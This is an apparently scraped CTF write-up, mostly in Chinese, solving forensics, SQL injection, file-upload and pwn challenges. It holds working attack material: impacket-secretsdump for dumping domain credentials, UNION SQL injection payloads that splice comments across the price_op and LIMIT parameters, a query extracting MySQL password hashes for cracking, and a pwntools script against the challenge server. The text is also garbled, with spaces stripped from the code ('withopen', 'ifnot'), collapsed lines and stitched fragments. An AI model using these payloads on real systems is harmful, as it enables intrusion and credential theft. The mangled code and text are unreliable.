cd C:\Users\emily tree /f /a > tree.txt type tree.txt cd Documents dir type README echo"James asked me to keep his password secret, so I made sure to take extra precautions." >> C:\Users\Public\loot.txt echo"Note to self: Password for the zip is same as mine, with 777 at the end" >> C:\Users\Public\loot.txt del README cp .\important.7z C:\Users\Public del C:\Users\Public\loot.txt del C:\Users\Public\important.7z runas /User:wolvctf\james cmd
拿到 important.7z,解壓縮後拿到三張圖片其中一張 foremost 出來就是 Flag,另外他也登入了 James 帳號。 James 的 History 裡直接就是 Flag
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
後面則是在一開始被進入的 dan 的資料夾下找到攻擊者留下的 bloodhound 紀錄,在 Domain Admin role 下有這段敘述:
1
Members who are part of this group have passwords w then a c then a t and an f, curly bracket left, 'bloodhound_is_cool_' (but all the 'o's are '0's), then a city in all lowercase appended by 3 numbers (secret only you know), right curly bracket"
去網路上拔一個世界城市的 csv 檔生字典檔作字典攻擊
1 2 3 4 5 6 7 8 9 10 11
import csv
withopen('cities.csv', newline='', encoding='utf-8') as csvfile: reader = csv.reader(csvfile) city_names = [row[0].lower() for row in reader] print('votuporanga'in city_names)
for city in city_names: for i inrange(1000): print(f"wctf{{bl00dh0und_is_c00l_{city}{i:03d}}}")
price_op = str(request.args.get('price_op') or'>') ifnot re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op): return'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400
# allow for at most one space on either side iflen(price_op) > 4: return'price_op too long', 400
# I'm pretty sure the LIMIT clause cannot be used for an injection # with MySQL 9.x # # This attack works in v5.5 but not later versions # https://lightless.me/archives/111.html limit = str(request.args.get('limit') or'1')
query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op}{price} ORDER BY 1 LIMIT {limit}""" print('query:', query)
if';'in query: return'Sorry, multiple statements are not allowed', 400
try: cur = mysql.connection.cursor() cur.execute(query) records = cur.fetchall() column_names = [desc[0] for desc in cur.description] cur.close() except Exception as e: returnstr(e), 400
result = [dict(zip(column_names, row)) for row in records] return jsonify(result)
擷取重點段,一個 sqli 但是在 LIMIT 那邊才是 FREE (?) 仔細觀察會發現 price_op 還是可以塞髒東西,我這邊是用 /* 並且在 LIMIT 後面接上 */ 去前後呼應把東西都註解掉,轉成裸 UNION BASE SQLI 第一把 flag 是要讀註解內容所以要去讀當前 process 的 connect info:
1
/query?price=10.00&price_op=< /*&limit=*/ 0 UNION SELECT 1, (SELECT info FROM information_schema.processlist WHERE id = CONNECTION_ID()), 3, 4
Limited 2
information_schema 路讀 db 裡的 flag:
1 2 3
/query?price=10.00&price_op=< /*&limit=*/ 1 UNION SELECT 1, 1, 1, GROUP_CONCAT(0x7c,table_name,0x7C) FROM information_schema.tables WHERE table_schema='ctf' /query?price=10.00&price_op=< /*&limit=*/ 1 UNION SELECT 1, 1, 1, GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata /query?price=10.00&price_op=< /*&limit=*/ 1 UNION SELECT 1, 1, 1, value FROM Flag_843423739
SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
// Check if file already exists if (file_exists($target_file_path)) { echo"Sorry, file already exists.\n"; $uploadOk = 0; } // Check file size if ($_FILES["fileToUpload"]["size"] > 50000) { echo"Sorry, your file is too large.\n"; $uploadOk = 0; }
// If the file contains no dot, evaluate just the filename if ($lastDotPosition == false) { $filename = substr($target_file, 0, $lastDotPosition); $extension = ''; } else { $filename = substr($target_file, 0, $lastDotPosition); $extension = substr($target_file, $lastDotPosition + 1); } echo"<h1>".$filename."<br>".$extension."</h1>";
// Ensure that the extension is a txt file if ($extension !== '' && $extension !== 'txt') { echo"Sorry, only .txt extensions are allowed.\n"; $uploadOk = 0; } if (!(preg_match('/^[a-f0-9]{32}$/', $session_id))) { echo"Sorry, that is not a valid session ID.\n"; $uploadOk = 0; }
// Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { echo"Sorry, your file was not uploaded.\n"; } else { // If everything is ok, try to upload the file if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file_path)) { echo"The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded."; } else { echo"Sorry, there was an error uploading your file."; } }
$old_path = getcwd(); chdir($target_dir); // make unreadable - the proper way shell_exec('chmod -- 000 *'); chdir($old_path); } ?>
// Ensure that the extension is a txt file if ($extension !== '' && $extension !== 'txt') { echo"Sorry, only .txt extensions are allowed.\n"; $uploadOk = 0; }
print("Welcome to my secure encryption machine!") print("I'll encrypt all your messages (and add a little surprise at the end)")
while(True): print("Do you have a message to encrypt? [Y|N]") response = input() if(response == 'Y'): print("Gimme your message:") message = input() print("Your message is: ",encrypt(message)) else: exit(0)
if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_404088) != 0 ) puts("You forget to put the cover sheet on your TPS report"); if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_404089) != 0 ) puts("You have a meeting with a consultant"); if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_40408A) != 0 ) puts("The printer jams"); if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_40408B) != 0 ) puts("Your boss tells you that you have to come in on Saturday"); if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_40408C) != 0 ) puts("The fire alarm goes off"); if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_40408D) != 0 ) puts("Your cowworker asks if you have seen his stapler"); if ( ((unsigned __int8)urandom_byte & (unsigned __int8)byte_40408E) != 0 ) puts("You think about quitting"); printf("Time to clock out. You made $%d today\n", (unsignedint)earn); balence_default_1337 += earn; result = balence_default_1337 ^ (unsignedint)(unsigned __int8)urandom_byte; urandom_byte ^= balence_default_1337; return result; }
from pwn import * r=remote('office.kctf-453514-codelab.kctf.cloud', 1337) masks=[10, 22, 24, 40, 168, 96, 1] sentences=[ "You forget to put the cover sheet on your TPS report", "You have a meeting with a consultant", "The printer jams", "Your boss tells you that you have to come in on Saturday", "The fire alarm goes off", "Your cowworker asks if you have seen his stapler", "You think about quitting" ]
origin_byte=0 possible=[x for x inrange(256)] xored_possible={}
for i in possible: xored_possible[i]=i
deftest(x): can=[] for i inrange(256): yes=True for j inrange(7): if i&masks[j]!=0and x[j]==0: yes=False elif i&masks[j]==0and x[j]!=0: yes=False if yes==True: can.append(i) return can
defcheck(state): cur=[0]*7 for i inrange(7): if sentences[i].encode() in state: cur[i]=1 print(cur) return test(cur) cur_value=1337 import time whilelen(possible)!=1: iflen(possible)==0: exit(f'WTF {cur_value}') r.sendline(b'1') cur_value+=10 state=r.recvuntil(b'Time to clock out. You made $10 today') for i in check(state): for j in possible: if xored_possible[j] notin check(state): possible.remove(j) else: xored_possible[j]=(xored_possible[j]^cur_value)%256 print(possible, r.recv())